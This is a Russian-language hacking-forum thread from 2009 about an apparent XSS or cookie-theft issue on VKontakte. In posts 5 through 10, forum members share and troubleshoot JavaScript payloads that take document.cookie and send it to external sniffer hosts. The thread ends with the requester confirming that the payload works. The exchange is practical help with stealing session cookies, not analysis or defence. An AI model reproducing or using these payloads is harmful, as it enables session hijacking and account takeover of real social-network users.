HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости Mail-сервис
Перезагрузить страницу XSS - контакт
   
Ответ
Страница 1 из 2 1 2 >
 
Опции темы Поиск в этой теме Опции просмотра

XSS - контакт
  #1  
Старый 18.05.2009, 18:18
FatalLerr0r
Познающий
Регистрация: 15.04.2009
Сообщений: 35
С нами: 8985453

Репутация: 12
По умолчанию XSS - контакт
Здравствуйте! Помогие пожалуйсто, вот такая ситуация произошла....я юзаю ачатовский сниффер, но ктото недавно видимо заюзал мой снифф....Но дело не в этом, я вот увидел , что в моем сниффе появились куки от контакта!!! тоесть там было :

Запрос с vkontakte.ru (**.**.****)
QUERY: remixlang=0; __utmz=2010492......ну как пложено в общем
Но проблема в том что в Reffer не показано нечего = (
в реффере вот это :
REFERER: http://vkontakte.ru/id11597***?25*3*

Скажите , что это значит? Вконтакте есть активка о_О ???? Или как можно вапще пощупать эту багу? я заходил на страницу...обычный какойто юзер , нече у него на странице интресного ( скриптов) неувидел(
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 18.05.2009, 18:21
S0ulVortex
Участник форума
Регистрация: 18.11.2007
Сообщений: 184
С нами: 9725544

Репутация: 246
По умолчанию
если не ошибаюсь можно зайти вконтакт и потом стереть урл и прописать cниф
Последний раз редактировалось S0ulVortex; 18.05.2009 в 18:24..
 
Ответить с цитированием

  #3  
Старый 18.05.2009, 18:23
FatalLerr0r
Познающий
Регистрация: 15.04.2009
Сообщений: 35
С нами: 8985453

Репутация: 12
По умолчанию
ага и нечего непроизойдет ( ток что попробовал)
 
Ответить с цитированием

  #4  
Старый 18.05.2009, 18:26
S0ulVortex
Участник форума
Регистрация: 18.11.2007
Сообщений: 184
С нами: 9725544

Репутация: 246
По умолчанию
плохо пробовал
 
Ответить с цитированием

  #5  
Старый 18.05.2009, 18:30
S0ulVortex
Участник форума
Регистрация: 18.11.2007
Сообщений: 184
С нами: 9725544

Репутация: 246
По умолчанию
javascript:var%20s=document.createElement('script' );s.src='http://**.ru/snifer/s.gif?nc='+document.cookie;document.body.appendChi ld(s);void(0);

Как-то так
 
Ответить с цитированием

  #6  
Старый 18.05.2009, 18:31
FatalLerr0r
Познающий
Регистрация: 15.04.2009
Сообщений: 35
С нами: 8985453

Репутация: 12
По умолчанию
Цитата:
Сообщение от S0ulVortex  
плохо пробовал
В таком случае обьясни плз новичку , что ты имел ввиду, тоесть я зашел вконтакт, стер укр , вписал туда :
<script>img = new Image();img.src = "http://antichat.org/s/*******.gif?"+document.cookie;</script>

Если просто сниф вставить без КСС то будет ПУСТОЙ реффер !!! а кук небудет!

Где ошибка?
 
Ответить с цитированием

  #7  
Старый 18.05.2009, 18:32
S0ulVortex
Участник форума
Регистрация: 18.11.2007
Сообщений: 184
С нами: 9725544

Репутация: 246
По умолчанию
Цитата:
Сообщение от FatalLerr0r  
В таком случае обьясни плз новичку , что ты имел ввиду, тоесть я зашел вконтакт, стер укр , вписал туда :
<script>img = new Image();img.src = "http://antichat.org/s/*******.gif?"+document.cookie;</script>

Где ошибка?
Это тебе не сайт а браузер так не прокатит.
 
Ответить с цитированием

  #8  
Старый 18.05.2009, 18:35
FatalLerr0r
Познающий
Регистрация: 15.04.2009
Сообщений: 35
С нами: 8985453

Репутация: 12
По умолчанию
Я понял уже...тока чето
javascript:var%20s=document.createElement('script' );s.src='http://**.ru/snifer/s.gif?nc='+document.cookie;document.body.appendChi ld(s);void(0);
непомогает, "0" !
 
Ответить с цитированием

  #9  
Старый 18.05.2009, 18:36
S0ulVortex
Участник форума
Регистрация: 18.11.2007
Сообщений: 184
С нами: 9725544

Репутация: 246
По умолчанию
Цитата:
Сообщение от FatalLerr0r  
Я понял уже...тока чето
javascript:var%20s=document.createElement('script' );s.src='http://**.ru/snifer/s.gif?nc='+document.cookie;document.body.appendChi ld(s);void(0);
непомогает, "0" !

ПРОБЕЛЫ УБЕРИ
 
Ответить с цитированием

  #10  
Старый 18.05.2009, 18:48
FatalLerr0r
Познающий
Регистрация: 15.04.2009
Сообщений: 35
С нами: 8985453

Репутация: 12
По умолчанию
Пипеец я ламо...=// Спс биг S0ulVortex ! Все пашет , кулл, терь я понимаю это дело , спс = )
Последний раз редактировалось FatalLerr0r; 18.05.2009 в 18:50..
 
Ответить с цитированием
Ответ
Страница 1 из 2 1 2 >



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Энциклопедия уязвимых скриптов DIAgen Веб-уязвимости 519 23.09.2021 11:44
Xss для новичков Micr0b Уязвимости 79 06.07.2018 22:05
Xss: Cегодня и вчера. Опрос Constantine Болталка 48 07.12.2009 08:57
Cross Site Scripting FAQ k00p3r Уязвимости 6 12.06.2005 16:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.